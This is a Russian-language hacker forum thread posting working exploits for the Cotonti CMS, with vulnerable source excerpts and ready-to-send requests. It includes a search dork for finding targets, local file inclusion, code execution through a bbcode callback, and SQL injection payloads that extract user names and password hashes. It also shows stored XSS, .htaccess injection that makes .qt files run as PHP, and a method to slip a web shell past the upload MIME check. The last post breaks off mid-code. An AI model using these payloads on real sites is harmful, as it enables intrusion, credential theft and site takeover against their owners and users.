Старый 10.11.2010, 01:14   #1
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию Cotonti

Cotonti
Version: <= 0.6.17 (15.05.10)
Dork: "Powered by Cotonti"
Site: http://www.cotonti.com/

Local File Include
register_globals = On, magic_quotes = Off, $cfg['cache'] = 1

File: system/functions.php
PHP код:
function sed_cache_getall($auto 1)
{
    global 
$cfg$sys$db_cache;
    if (!
$cfg['cache'])
    { return 
FALSE; }
    
$sql sed_sql_query("DELETE FROM $db_cache WHERE c_expire<'".$sys['now']."'");
    if (
$auto)
    { 
$sql sed_sql_query("SELECT c_name, c_value FROM $db_cache WHERE c_auto=1"); }
    else
    { 
$sql sed_sql_query("SELECT c_name, c_value FROM $db_cache"); }
    if (
sed_sql_numrows($sql)>0)
    { return(
$sql); }
    else
    { return(
FALSE); }

File: system/common.php
PHP код:
if ($cfg['cache'])
{
    
$sql sed_cache_getall();
    if (
$sql)
    {
        while (
$row sed_sql_fetcharray($sql))
        { $
$row['c_name'] = unserialize($row['c_value']); }
    }
}

if (!
$sed_plugins)
{
    echo 
"test";
    
$sql sed_sql_query("SELECT * FROM $db_plugins WHERE pl_active=1 ORDER BY pl_hook ASC, pl_order ASC");
    if (
sed_sql_numrows($sql)>0)
    {
        while (
$row sed_sql_fetcharray($sql))
        { 
$sed_plugins[] = $row; }
    }
    
sed_cache_store('sed_plugins'$sed_plugins3300);

File: system/core/plug.inc.php
PHP код:
    $e sed_import('e','G','ALP'); // $_GET[e] с фильтрацией

    
....

    if (
is_array($sed_plugins))
    {
        foreach(
$sed_plugins as $i => $k)
        {
            if (
$k['pl_hook']=='standalone' && $k['pl_code']==$e)
            { 
$extp[$i] = $k; }
        }
    }

    ....

    if (
is_array($extp))
    {
        foreach(
$extp as $k => $pl) { 
            include_once(
$cfg['plugins_dir'].'/'.$pl['pl_code'].'/'.$pl['pl_file'].'.php'); 
        } 
    } 
Если попасть в момент обновления кэша, то $sed_plugins не переопределится при запросе из кэша и не попадет во второе условие (кусок из system/common.php).

Эксплуатация:
Код:
http://cotonti/plug.php?e=tags&sed_plugins[0][pl_file]=../../[LOCAL_FILE]%00&sed_plugins[0][pl_hook]=standalone&sed_plugins[0][pl_code]=tags
PS: Жесточайшие условия использования получились

Последний раз редактировалось BlackFan; 01.06.2011 в 09:43..
BlackFan вне форума   Ответить с цитированием
Старый 10.11.2010, 12:07   #2
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Cotonti
Version: <= 0.6.17 (2011-05-15)

Выполнение произвольного кода
register_globals = On

File: system/common.php
PHP код:
if ($cfg['cache']) 

    
$sql sed_cache_getall(); 
    if (
$sql
    { 
        while (
$row sed_sql_fetcharray($sql)) 
        { $
$row['c_name'] = unserialize($row['c_value']); } 
    } 

File: system/functions.php
PHP код:
function sed_cache_getall($auto 1

    global 
$cfg$sys$db_cache
    if (!
$cfg['cache']) 
    { return 
FALSE; } 
    
$sql sed_sql_query("DELETE FROM $db_cache WHERE c_expire<'".$sys['now']."'"); 
    if (
$auto
    { 
$sql sed_sql_query("SELECT c_name, c_value FROM $db_cache WHERE c_auto=1"); } 
    else 
    { 
$sql sed_sql_query("SELECT c_name, c_value FROM $db_cache"); } 
    if (
sed_sql_numrows($sql)>0
    { return(
$sql); } 
    else 
    { return(
FALSE); } 


...

function 
sed_bbcode_load()
{
    global 
$db_bbcode$sed_bbcodes$sed_bbcodes_post$sed_bbcode_containers;
    if(!
is_array($sed_bbcodes))
    {
        
//Переопределение и кэширование $sed_bbcodes, $sed_bbcodes_post, $sed_bbcode_containers
    
}
}

...

function 
sed_bbcode_parse($text$post false)
{
    global 
$cfg$sed_bbcodes$sed_bbcodes_post$sed_bbcode_containers;

    ...
    
    
$cnt $post count($sed_bbcodes_post) : count($sed_bbcodes);
    for(
$i 0$i $cnt$i++)
    {
        
$bbcode = ($post) ? $sed_bbcodes_post[$i] : $sed_bbcodes[$i];
        switch(
$bbcode['mode'])
        {
            case 
'str':
                
$text str_ireplace($bbcode['pattern'], $bbcode['replacement'], $text);
            break;
            case 
'pcre':
                
$text preg_replace('`'.$bbcode['pattern'].'`mis'$bbcode['replacement'], $text);
            break;
            case 
'callback':
                
$code 'global $cfg, $sys, $usr, $L, $skin, $sed_groups;' $bbcode['replacement'];
                
$text preg_replace_callback('`'.$bbcode['pattern'].'`mis'create_function('$input'$code), $text);
            break;
        }
    }
    return 
$text;

Эксплуатация:
На примере создания новой темы... Попадаем в момент обновления кэша, если sed_bbcodes определен, то sed_bbcodes и sed_bbcode_containers не переопределятся.
Код:
POST:
newtopictitle=pwned&
newtopicdesc=pwned&
newmsg=[pwned]lol[/pwned]&
sed_bbcode_containers=pwned&
sed_bbcodes[0][mode]=callback&
sed_bbcodes[0][pattern]=[pwned]&
sed_bbcodes[0][replacement]=phpinfo();&
x=[берем из формы создания темы]

Update:
Проверка register_globals:
Код:
http://cotonti/?cfg=a
Пустая страница или ошибка - On

Последний раз редактировалось BlackFan; 01.06.2011 в 09:45..
BlackFan вне форума   Ответить с цитированием
Старый 19.11.2010, 11:36   #3
Scorpius
 
Аватар для Scorpius
 
Регистрация: 09.07.2010
Сообщений: 6
Репутация: 0
По умолчанию

Создал POST запрос.
Подставил ссесию свою (админскую на локалхосте), x взял из формы, rg=on,
Код:
POST http://test1.ru/cotonti-0.6.10/forums.php?a=newtopic&s=1 HTTP/1.0
Host: test1.ru
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, */*;q=0.1
Connection: Close
Cookie: PHPSESSID=3c11373b11758cf272088942e1613a92; 
Content-Type: application/x-www-form-urlencoded
Content-length: 213

newtopictitle=pwned&newtopicdesc=pwned&newmsg=[pwned]lol[/pwned]&sed_bbcode_containers=pwned&sed_bbcodes[0][mode]=callback&sed_bbcodes[0][pattern]=[pwned]&sed_bbcodes[0][replacement]=phpinfo();&x=23f7534df6877a54&
Тем создалась, но никакого phpinfo не вывело
Scorpius вне форума   Ответить с цитированием
Старый 19.11.2010, 13:36   #4
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Цитата:
Сообщение от Scorpius Посмотреть сообщение
Создал POST запрос.
Подставил ссесию свою (админскую на локалхосте), x взял из формы, rg=on,
Код:
POST http://test1.ru/cotonti-0.6.10/forums.php?a=newtopic&s=1 HTTP/1.0
Host: test1.ru
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, */*;q=0.1
Connection: Close
Cookie: PHPSESSID=3c11373b11758cf272088942e1613a92; 
Content-Type: application/x-www-form-urlencoded
Content-length: 213

newtopictitle=pwned&newtopicdesc=pwned&newmsg=[pwned]lol[/pwned]&sed_bbcode_containers=pwned&sed_bbcodes[0][mode]=callback&sed_bbcodes[0][pattern]=[pwned]&sed_bbcodes[0][replacement]=phpinfo();&x=23f7534df6877a54&
Тем создалась, но никакого phpinfo не вывело
Надо попасть в обновление кэша... Там вроде раз в 55 минут...
Можешь вручную удалить из sed_cache записи с bbcode и создать тему, чтобы проверить. (только между удалением и созданием темы не должно быть промежуточных запросов, иначе снова запись в sed_cache попадет)

Последний раз редактировалось BlackFan; 19.11.2010 в 13:41..
BlackFan вне форума   Ответить с цитированием
Старый 28.11.2010, 14:06   #5
}{оттабыч
Banned
 
Регистрация: 08.10.2010
Сообщений: 188
Репутация: 53
По умолчанию

SQL inj
Если переменная Configuration->Main Settings->Cluster of servers выставлена в Yes.

/system/common.php
PHP код:
/*...*/
if($cfg['clustermode'])
{
    if(isset(
$_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) $usr['ip'] = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
    elseif(isset(
$_SERVER['HTTP_X_REAL_IP'])) $usr['ip'] = $_SERVER['HTTP_X_REAL_IP'];
    elseif(isset(
$_SERVER['HTTP_X_FORWARDED_FOR'])) $usr['ip'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
    else 
$usr['ip'] = $_SERVER['REMOTE_ADDR'];
/*...*/
$userip explode('.'$usr['ip']);
$ipmasks "('".$userip[0].".".$userip[1].".".$userip[2].".".$userip[3]."','".$userip[0].".".$userip[1].".".$userip[2].".*','".$userip[0].".".$userip[1].".*.*','".$userip[0].".*.*.*')";

$sql sed_sql_query("SELECT banlist_id, banlist_ip, banlist_reason, banlist_expire FROM $db_banlist WHERE banlist_ip IN ".$ipmasks);
If (
sed_sql_numrows($sql)>0)
{
    
$row=sed_sql_fetcharray($sql);
    if (
$sys['now']>$row['banlist_expire'] && $row['banlist_expire']>0)
    {
        
$sql sed_sql_query("DELETE FROM $db_banlist WHERE banlist_id='".$row['banlist_id']."' LIMIT 1");
    }
    else
    {
        
$disp "Your IP is banned.<br />Reason: ".$row['banlist_reason']."<br />Until: ";
        
$disp .= ($row['banlist_expire']>0) ? @date($cfg['dateformat'], $row['banlist_expire'])." GMT" "Never expire.";
        
sed_diefatal($disp);
    }
}
/*...*/ 
index.php
PHP код:
/*...*/require_once($cfg['system_dir'].'/common.php');/*...*/ 
Файл common.php инклудиться и в других файлах.

system/database.mysql.php
PHP код:
/*...*/
function sed_sql_error($conn null)
{
    global 
$sed_dbc;
    return 
is_null($conn) ? mysql_error($sed_dbc) : mysql_error($conn);
}
/*...*/
function sed_sql_query($query$conn null)
{
    global 
$sys$cfg$usr$sed_dbc;
    
$conn is_null($conn) ? $sed_dbc $conn;
    
$sys['qcount']++;
    
$xtime microtime();
    
$result mysql_query($query$conn) OR sed_diefatal('SQL error : '.sed_sql_error($conn));
    
$ytime microtime();
    
$xtime explode(' ',$xtime);
    
$ytime explode(' ',$ytime);
    
$sys['tcount'] = $sys['tcount'] + $ytime[1] + $ytime[0] - $xtime[1] - $xtime[0];
    if (
$cfg['devmode'])
    {
        
$sys['devmode']['queries'][] = array ($sys['qcount'], $ytime[1] + $ytime[0] - $xtime[1] - $xtime[0], $query);
        
$sys['devmode']['timeline'][] = $xtime[1] + $xtime[0] - $sys['starttime'];
    }
    return 
$result;
}
/*...*/ 


system/functions.php
PHP код:
/*...*/
function sed_diefatal($text='Reason is unknown.'$title='Fatal error')
{
    global 
$cfg;

    if (
defined('SED_DEBUG') && SED_DEBUG)
    {
        echo 
'<br /><pre>';
        
debug_print_backtrace();
        echo 
'</pre>';
    }

    
$disp "<strong><a href=\"".$cfg['mainurl']."\">".$cfg['maintitle']."</a></strong><br />";
    
$disp .= @date('Y-m-d H:i').'<br />'.$title.' : '.$text;
    die(
$disp);
}
/*...*/ 
Код:
X_FORWARDED_FOR=1',(select * from(select name_const(version(),1),name_const(version(),1))a),'1
}{оттабыч вне форума   Ответить с цитированием
Старый 01.06.2011, 14:08   #6
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Cotonti
Version: <= 0.6.17 (2011-05-15)

Active XSS

Условия:
Необходимо, чтобы file_exists возвращал "true" при прыжке через несуществующую папку (only win?)

File: /system/core/users/users.profile.inc.php
PHP код:
$id sed_import('id','G','TXT');
$a sed_import('a','G','ALP');

...

switch (
$a)
{

...

    
/* ============= */
    
case 'avatarselect':
    
/* ============= */

    
sed_check_xg();
    
$avatar $cfg['defav_dir'].urldecode($id);
    
$avatar str_replace(array("'"","chr(0x00)), ""$avatar);
    if (
file_exists($avatar))
        { 
$sql sed_sql_query("UPDATE $db_users SET user_avatar='".sed_sql_prep($avatar)."' WHERE user_id='".$usr['id']."'"); }

...

$sql sed_sql_query("SELECT * FROM $db_users WHERE user_id='".$usr['id']."' LIMIT 1");
sed_die(sed_sql_numrows($sql)==0);
$urr sed_sql_fetcharray($sql);

...

$profile_form_avatar .= (!empty($urr['user_avatar'])) ? "<img src=\"".$urr['user_avatar']."\" alt=\"\" /><br />".$L['Delete']." [<a href=\"" .sed_url('users''m=profile&a=avatardelete&'.sed_xg())."\">x</a>]<br />&nbsp;<br />" ''
File: /system/functions.php
PHP код:
function sed_import($name$source$filter$maxlen=0$dieonerror=FALSE)
{
    switch(
$source)
    {
        case 
'G':
            
$v = (isset($_GET[$name])) ? $_GET[$name] : NULL;
            
$log TRUE;
            break;
        ...
    }
    ...
    switch(
$filter)
    {
        ...
        case 
'TXT':
            
$v trim($v);
            if (
mb_strpos($v'<')===FALSE)
            {
                
$pass TRUE;
            }
            else
            {
                
$defret str_replace('<''&lt;'$v);
            }
        break;
        ...
    }
    if(
$pass)
    {
        return(
$v);
    }

Эксплуатация:
Код:
http://site/users.php?m=profile&a=avatarselect&id=daffy.gif" onmouseover="alert(1)" x="/../daffy.gif&x=[x]
Получается папка с названием
Код:
daffy.gif" onmouseover="alert(1)" x="
Возврат наверх и валидный файл, чтобы file_exists вернул true.



SQL-Injection
register_globals = On

File: /plugins/search/search.php
PHP код:
    if($a == 'search')
    {
        
// Checking the sections array
        
if($sea_frmsub[0]=='all')
        {
            
// All sections
            
$sqlsections '';
        }
        else
        {
            
// Walking through array
            
foreach($sea_frmsub as $i => $k)
            {
                
// Making new array
                
$sections1[] = "s.fs_id='".sed_sql_prep($k)."'";
            }
            
// Making SQL query
            
$sqlsections "AND (".implode(' OR '$sections1).")";
        }

        ...

        elseif (
$sea_frmtext == && $sea_frmtitle == 1)
        {
            
$sql sed_sql_query("SELECT SQL_CALC_FOUND_ROWS p.fp_id, $text_from_sql t.ft_firstposterid,
                    t.ft_firstpostername, t.ft_title, t.ft_id, t.ft_updated, s.fs_id, s.fs_title, s.fs_category
                 FROM 
$db_forum_posts p, $db_forum_topics t, $db_forum_sections s
                WHERE 1 AND (p.fp_text LIKE '"
.sed_sql_prep($sqlsearch)."'
                    OR t.ft_title LIKE '"
.sed_sql_prep($sqlsearch)."')
                AND p.fp_topicid=t.ft_id 
$frm_reply
                AND p.fp_sectionid=s.fs_id 
$sqlsections $sqlsections2
                GROUP BY t.ft_id ORDER BY 
$orderby
                LIMIT 
$d, ".$cfg['plugin']['search']['maxitems_ext']);
            
$items sed_sql_numrows($sql);
            
$totalitems sed_sql_foundrows();
        } 
Эксплуатация:
Код:
http://site/plug.php?e=search&a=search

POST:
x=[x]
&a=search
&sq=111
&sea_pagsub[]=articles
&sea_pagtitle=1
&sea_pagdesc=1
&sea_pagtext=1
&sea_frmsub[]=1
&sea_frmtitle=1
&sea_frmtext=1
&sections1[]=1) union select 1,2,3,4,concat_ws(0x3a,user_name,user_password),6,0x616E79,8,9,10 from sed_users where user_id=1 union select 1,1,1,1,1,1,1,1,1,1 from sed_forum_sections s,sed_forum_topics t where 1 or (1
Изначально массив sections1 не определен и за счет rg=On мы можем добавить в него значение, которое в итоге попадает в запрос к базе. Аналогичная уязвимость с массивом sections2.


Несколько SQL-Injection в админке
mq = Off

File: /system/functions.php
PHP код:
function sed_import($name$source$filter$maxlen=0$dieonerror=FALSE)
{
    switch(
$source)
    {

        ...

        case 
'P':
            
$v = (isset($_POST[$name])) ? $_POST[$name] : NULL;
            
$log TRUE;
            if (
$filter=='ARR') { return($v); }
            break; 
File: /system/core/admin/admin.forums.structure.inc.php
PHP код:
    if($a == 'update')
    {
        
$s sed_import('s''P''ARR');

        foreach(
$s as $i => $k)
        {
            
$sql1 sed_sql_query("UPDATE $db_forum_structure SET
                fn_path='"
.$s[$i]['rpath']."',
                fn_title='"
.$s[$i]['rtitle']."',
                fn_defstate='"
.$s[$i]['rdefstate']."'
                WHERE fn_id='"
.$i."'");
        }
        
sed_cache_clear('sed_forums_str');

        
$adminwarnings $L['Updated'];
    } 
File: /system/core/admin/admin.page.catorder.inc.php

PHP код:
if($a == 'update')
{
    
$s sed_import('s''P''ARR');

    foreach(
$s as $i => $k)
    {
        
$order $s[$i]['order'].'.'.$s[$i]['way'];
        
$sql sed_sql_query("UPDATE $db_structure SET structure_order='$order' WHERE structure_id='$i'");
    }
    
sed_cache_clear('sed_cat');
    
$adminwarnings $L['Updated'];

File: /system/core/admin/admin.page.structure.inc.php
PHP код:
    if($a == 'update')
    {
        
$s sed_import('s''P''ARR');
        foreach(
$s as $i => $k)
        {
            
            
$s[$i]['rgroup'] = (isset($s[$i]['rgroup'])) ? 0;

            
$sqql sed_sql_query("SELECT structure_code FROM $db_structure WHERE structure_id='".$i."' ");
            
$roww sed_sql_fetcharray($sqql);

            
/* === Hook === */
            
$extp sed_getextplugins('admin.page.structure.update');
            if(
is_array($extp))
            {
                foreach(
$extp as $k => $pl)
                {
                    include_once(
$cfg['plugins_dir'].'/'.$pl['pl_code'].'/'.$pl['pl_file'].'.php');
                }
            }
            
/* ===== */

            
if($roww['structure_code'] != $s[$i]['rcode'] && !isset($sed_cat[$s[$i]['rcode']]))
            {
                
$sql sed_sql_query("UPDATE $db_structure SET structure_code='".sed_sql_prep($s[$i]['rcode'])."' WHERE structure_code='".sed_sql_prep($roww['structure_code'])."' ");
                
$sql sed_sql_query("DELETE FROM $db_cache WHERE c_name='".sed_sql_prep($roww['structure_code'])."' ");
                
$sql sed_sql_query("UPDATE $db_auth SET auth_option='".sed_sql_prep($s[$i]['rcode'])."' WHERE auth_code='page' AND auth_option='".sed_sql_prep($roww['structure_code'])."' ");
                
$sql sed_sql_query("UPDATE $db_pages SET page_cat='".sed_sql_prep($s[$i]['rcode'])."' WHERE page_cat='".sed_sql_prep($roww['structure_code'])."' ");

                
sed_auth_reorder();
                
sed_auth_clear('all');
                
sed_cache_clear('sed_cat');
            }

            
$sql1 sed_sql_query("UPDATE $db_structure
                SET structure_path='"
.sed_sql_prep($s[$i]['rpath'])."',
                    structure_title='"
.sed_sql_prep($s[$i]['rtitle'])."',
                    structure_group='"
.$s[$i]['rgroup']."'
                WHERE structure_id='"
.$i."'");
        }

        
sed_auth_clear('all');
        
sed_cache_clear('sed_cat');

        
$adminwarnings $L['Updated'];
    } 
File: /system/core/admin/admin.rights.inc.php
PHP код:
    elseif(is_array($_POST['auth']))
    {
        
$mask = array();
        
$auth sed_import('auth''P''ARR');
        
//die(var_dump($auth));
        
$sql sed_sql_query("UPDATE $db_auth SET auth_rights=0 WHERE auth_groupid='$g'");

        foreach(
$auth as $k => $v)
        {
            foreach(
$v as $i => $j)
            {
                if(
is_array($j))
                {
                    
$mask 0;
                    foreach(
$j as $l => $m)
                    {
                        
$mask += sed_auth_getvalue($l);
                    }
                    
                    
$sql sed_sql_query("UPDATE $db_auth SET auth_rights='$mask' WHERE auth_groupid='$g' AND auth_code='$k' AND auth_option='$i'");
                }
            }
        }

        
sed_auth_reorder();
        
sed_auth_clear('all');

        
$adminwarnings $L['Updated'];
    } 
File: /system/core/admin/admin.rightsbyitem.inc.php
PHP код:
if($a == 'update')
{
    
$mask = array();
    
$auth sed_import('auth''P''ARR');

    
/* === Hook === */
    
$extp sed_getextplugins('admin.rightsbyitem.update');
    if (
is_array($extp))
    { foreach(
$extp as $k => $pl) { include_once($cfg['plugins_dir'].'/'.$pl['pl_code'].'/'.$pl['pl_file'].'.php'); } }
    
/* ===== */

    
$sql sed_sql_query("UPDATE $db_auth SET auth_rights=0 WHERE auth_code='$ic' AND auth_option='$io'");

    foreach(
$auth as $i => $j)
    {
        if(
is_array($j))
        {
            
$mask 0;
            foreach(
$j as $l => $m)
            {
                
$mask += sed_auth_getvalue($l);
            }
            
$sql sed_sql_query("UPDATE $db_auth SET auth_rights='$mask' WHERE auth_groupid='$i' AND auth_code='$ic' AND auth_option='$io'");
        }
    } 
Эксплуатация:
Код:
http://cotonti-0.6.17/admin.php?m=page&s=structure&ajax=1&a=update&d=0

POST
x=[x]
&s[1%27union%20select%20min%28@%3A%3D0%29%20from%20%28select%201%20union%20select%202%29t%20group%20by%20concat%28version%28%29%2C@%3A%3D%21@%29--%20-][rcode]=articles
&s[1][rpath]=1
&s[1][rtitle]=Articles
&s[2][rcode]=links
&s[2][rpath]=2
&s[2][rtitle]=Links
&s[3][rcode]=events
&s[3][rpath]=3
&s[3][rtitle]=Events
&s[4][rcode]=news
&s[4][rpath]=4
&s[4][rtitle]=News
sed_import возвращает POST массив без изменений. Элементы массива и индексы учавствуют в запросах к базе без какой-либо фильтрации.


Добавление своей информации в .htaccess
Админка

File: /system/core/admin/admin.urls.inc.php
PHP код:
if($a == 'save')
{
    
// Fetch data
    
$ut_area sed_import('area''P''ARR');
    
$ut_params sed_import('params''P''ARR');
    
$ut_format sed_import('format''P''ARR');
    
$htaccess sed_import('htaccess''P''BOL');
    for(
$i 0$i $count$i++)
    {

        ...
        
$format $ut_format[$i];
        
$area $ut_area[$i] == '*' $var_pattern $ut_area[$i];
        ...
        if(
preg_match('#^https?\://([^/]+)/(.*)$#'$format$mt)/* && $serv_type == 'apache'*/)
        {
            ...
        }
        else
        {
            
$pattern preg_quote($format);
        }
        ...
        
$pattern .= '(.*)$';
        
$qs .= '$'. ($m_count $k 1);
        
$area = empty($area_sub) ? $area $area_sub;
        
$hta_line .= $pattern $re ' ' $loc $area '.php' $qs ' ' $hta_flags;
        
$hta .= $hta_line "\n";
    }
    if(
$htaccess)
    {
        
$htdata file_get_contents('.htaccess');
        if (
mb_strpos($htdata'### COTONTI URLTRANS ###') !== false)
        {
            
$htparts explode('### COTONTI URLTRANS ###'$htdata);
            
$htdata $htparts[0] . "\n### COTONTI URLTRANS ###\n$hta\n### COTONTI URLTRANS ###\n" $htparts[2];
        }
        else
        {
            
$htdata .= "\n### COTONTI URLTRANS ###\n$hta\n### COTONTI URLTRANS ###\n";
        }
        
file_put_contents('.htaccess'$htdata);
    } 
Эксплуатация:
Код:
http://cotonti-0.6.17/admin.php?m=urls&a=save&ajax=1

POST:
&area[]=*
&area[]=$1%0aAddType application/x-httpd-php .qt #
&format[]={$_area}.php
&format[]=31337
&params[]=*
&params[]=*
&x=[x]
&htaccess=1
Результат:
Код:
### COTONTI URLTRANS ###
# Rewrite engine options
Options FollowSymLinks -Indexes
RewriteEngine On
# Server-relative path to seditio:
RewriteBase "/"
RewriteRule ^(datas|images|js|skins)/(.*)$ $1/$2 [QSA,NC,NE,L]
RewriteRule ^31337(.*)$ $1
AddType application/x-httpd-php .qt #.php$1 [QSA,NC,NE,L]

### COTONTI URLTRANS ###
Заливка шелла

Редактируем .htaccess как показано выше (на примере файла *.qt == QuickTime Movie). При этом надо учесть, что накосячив вы можете очень сильно спалиться
Далее при загрузке файла нам нужно обойти проверку:

File: /system/functions.php
PHP код:
function sed_file_check($path$name$ext)
{
    global 
$L$cfg;
    if(
$cfg['pfsfilecheck'])
    {
        require(
'./datas/mimetype.php');
        
$fcheck FALSE;
        if(
in_array($ext, array('jpg''jpeg''png''gif')))
        {
            switch(
$ext)
            {
                case 
'gif':
                    
$fcheck = @imagecreatefromgif($path);
                break;
                case 
'png':
                    
$fcheck = @imagecreatefrompng($path);
                break;
                default:
                    
$fcheck = @imagecreatefromjpeg($path);
                break;
            }
            
$fcheck $fcheck !== FALSE;
        }
        else
        {
            if(!empty(
$mime_type[$ext]))
            {
                foreach(
$mime_type[$ext] as $mime)
                {
                    
$content file_get_contents($path0NULL$mime[3], $mime[4]);
                    
$content = ($mime[2]) ? bin2hex($content) : $content;
                    
$mime[1] = ($mime[2]) ? strtolower($mime[1]) : $mime[1];
                    
$i++;
                    if (
$content == $mime[1])
                    {
                        
$fcheck TRUE;
                        break;
                    }
                }
            }
            else
            {
                
$fcheck = ($cfg['pfsnomimepass']) ? 2;
                
sed_log(sprintf($L['pfs_filechecknomime'], $ext$name), 'sec');
            }
        }
        if(!
$fcheck)
        {
            
sed_log(sprintf($L['pfs_filecheckfail'], $ext$name), 'sec');
        }
    }
    else
    {
        
$fcheck true;
    }
    return(
$fcheck);

File: /datas/mimetype.php
PHP код:
$mime_type['qt'][1]        = array('video/quicktime''moov''0''24''4''0'); 
Для этого достаточно, чтобы в вашем шелле с 24 по 28 байты было слово "moov" и при загрузке необходимо подменить "Content-Type" на "video/quicktime".
BlackFan вне форума   Ответить с цитированием
Старый 01.06.2011, 15:41   #7
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 250
Репутация: 155
По умолчанию

BlackFan Ты на канал заходишь, хоть по линкам переходи

[21:00] SynQ: http://www.justanotherhacker.com/2011/05/htaccess-based-attacks.html

Должно упростить заливку, если я ничего из подводных камней не пропустил
__________________
------------------
Jokester вне форума   Ответить с цитированием
Старый 22.07.2011, 00:06   #8
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Cotonti Genoa
Version: <= 0.6.17

SQL Injection

File: /system/functions.php
PHP код:
function sed_import($name$source$filter$maxlen=0$dieonerror=FALSE)
{
    switch(
$source)
    {
        ...
        case 
'P':
            
$v = (isset($_POST[$name])) ? $_POST[$name] : NULL;
            
$log TRUE;
            if (
$filter=='ARR') { return($v); }
            break;
        ...
            
    }
    if (
MQGPC && ($source=='G' || $source=='P' || $source=='C') )
    {
        
$v stripslashes($v);
    }
    ...
    switch(
$filter)
    {
        ...
        case 
'TXT':
            
$v trim($v);
            if (
mb_strpos($v'<')===FALSE)
            {
                
$pass TRUE;
            }
            else
            {
                
$defret str_replace('<''&lt;'$v);
            }
        break;
        ...
    }
    if(
$pass)
    {
        return(
$v);
    }

File: /system/database.mysql.php
PHP код:
function sed_sql_prep($str$conn null)
{
    global 
$sed_dbc;
    return 
is_null($conn) ? mysql_real_escape_string($str$sed_dbc) : mysql_real_escape_string($str$conn);

File: /plugins/search/search.php
PHP код:
...
$sea_frmsort2 sed_sql_prep(sed_import('sea_frmsort2','P','TXT'));
...

        if (
$sea_frmsort == 1)
            
$orderby "ft_updated ".$sea_frmsort2;
        elseif (
$sea_frmsort == 2)
            
$orderby "ft_creationdate ".$sea_frmsort2;
        elseif (
$sea_frmsort == 3)
            
$orderby "ft_title ".$sea_frmsort2;
        elseif (
$sea_frmsort == 4)
            
$orderby "ft_postcount ".$sea_frmsort2;
        elseif (
$sea_frmsort == 5)
            
$orderby "ft_viewcount ".$sea_frmsort2;

        
$text_from_sql $cfg['plugin']['search']['showtext_ext'] == "p.fp_text," "";

        if (
$sea_frmtitle == && $sea_frmtext != 1)
        {
            
$sql sed_sql_query("SELECT SQL_CALC_FOUND_ROWS p.fp_id, $text_from_sql t.ft_firstposterid,
                    t.ft_firstpostername, t.ft_title, t.ft_id, t.ft_updated, s.fs_id, s.fs_title, s.fs_category
                 FROM 
$db_forum_posts p, $db_forum_topics t, $db_forum_sections s
                WHERE 1 AND (t.ft_title LIKE '"
.sed_sql_prep($sqlsearch)."')
                AND p.fp_topicid=t.ft_id 
$frm_reply
                AND p.fp_sectionid=s.fs_id 
$sqlsections $sqlsections2
                GROUP BY t.ft_id ORDER BY 
$orderby
                LIMIT 
$d, ".$cfg['plugin']['search']['maxitems_ext']);
            
$items sed_sql_numrows($sql);
            
$totalitems sed_sql_foundrows();
        }

        elseif (
$sea_frmtext == && $sea_frmtitle != 1)
        {
            
$sql sed_sql_query("SELECT SQL_CALC_FOUND_ROWS p.fp_id, $text_from_sql p.fp_updated, t.ft_firstposterid,
                    t.ft_firstpostername, t.ft_title, t.ft_id, s.fs_id, s.fs_title, s.fs_category
                 FROM 
$db_forum_posts p, $db_forum_topics t, $db_forum_sections s
                WHERE 1 AND (p.fp_text LIKE '"
.sed_sql_prep($sqlsearch)."')
                AND p.fp_topicid=t.ft_id 
$frm_reply
                AND p.fp_sectionid=s.fs_id 
$sqlsections $sqlsections2
                GROUP BY t.ft_id ORDER BY 
$orderby
                LIMIT 
$d, ".$cfg['plugin']['search']['maxitems_ext']);
            
$items sed_sql_numrows($sql);
            
$totalitems sed_sql_foundrows();
        }

        elseif (
$sea_frmtext == && $sea_frmtitle == 1)
        {
            
$sql sed_sql_query("SELECT SQL_CALC_FOUND_ROWS p.fp_id, $text_from_sql t.ft_firstposterid,
                    t.ft_firstpostername, t.ft_title, t.ft_id, t.ft_updated, s.fs_id, s.fs_title, s.fs_category
                 FROM 
$db_forum_posts p, $db_forum_topics t, $db_forum_sections s
                WHERE 1 AND (p.fp_text LIKE '"
.sed_sql_prep($sqlsearch)."'
                    OR t.ft_title LIKE '"
.sed_sql_prep($sqlsearch)."')
                AND p.fp_topicid=t.ft_id 
$frm_reply
                AND p.fp_sectionid=s.fs_id 
$sqlsections $sqlsections2
                GROUP BY t.ft_id ORDER BY 
$orderby
                LIMIT 
$d, ".$cfg['plugin']['search']['maxitems_ext']);
            
$items sed_sql_numrows($sql);
            
$totalitems sed_sql_foundrows();
        } 
Описание:
Переменная sea_frmsort2 проходит через mysql_real_escape_string, но попадает в запрос вне кавычек, так как в ней предполагается наличие ASC или DESC. Получается SQL Injection после ORDER BY, которую можно крутить как Blind или Error-Based.
При использовании "Duplicate entry" необходимо, чтобы основной запрос возвращал хотя бы одну запись, для этого проще отправлять %%% в поисковом запросе.
Аналогичная уязвимость в переменной sea_pagsort2.

Эксплуатация:
Код:
http://cotonti-0.6.17/plug.php?e=search&tab=frm

POST
x=[x]
&a=search
&sq=%%%
&sea_frmsub%5B%5D=all
&sea_frmsort=1
&sea_frmsort2=DESC,(select min(0) from information_schema.tables group by concat(version(),floor(rand(0)*2)))
&sea_frmtitle=1
&sea_frmtext=1
&within=0
&from_day=
&from_month=
&from_year=
&to_day=21
&to_month=7
&to_year=2011


Cotonti Siena
Version: <= 0.9.3

SQL Injection

File: /system/functions.php
PHP код:
function cot_import($name$source$filter$maxlen 0$dieonerror false$buffer false)
{
    global 
$cot_import_filters;

    switch(
$source)
    {
        case 
'D':
            
$v $name;
            
$log FALSE;
            break;
    }

    
$pass FALSE;
    
$defret NULL;

    switch(
$filter)
    {
        case 
'TXT':
            
$v trim($v);
            if (
mb_strpos($v'<')===FALSE)
            {
                
$pass TRUE;
            }
            else
            {
                
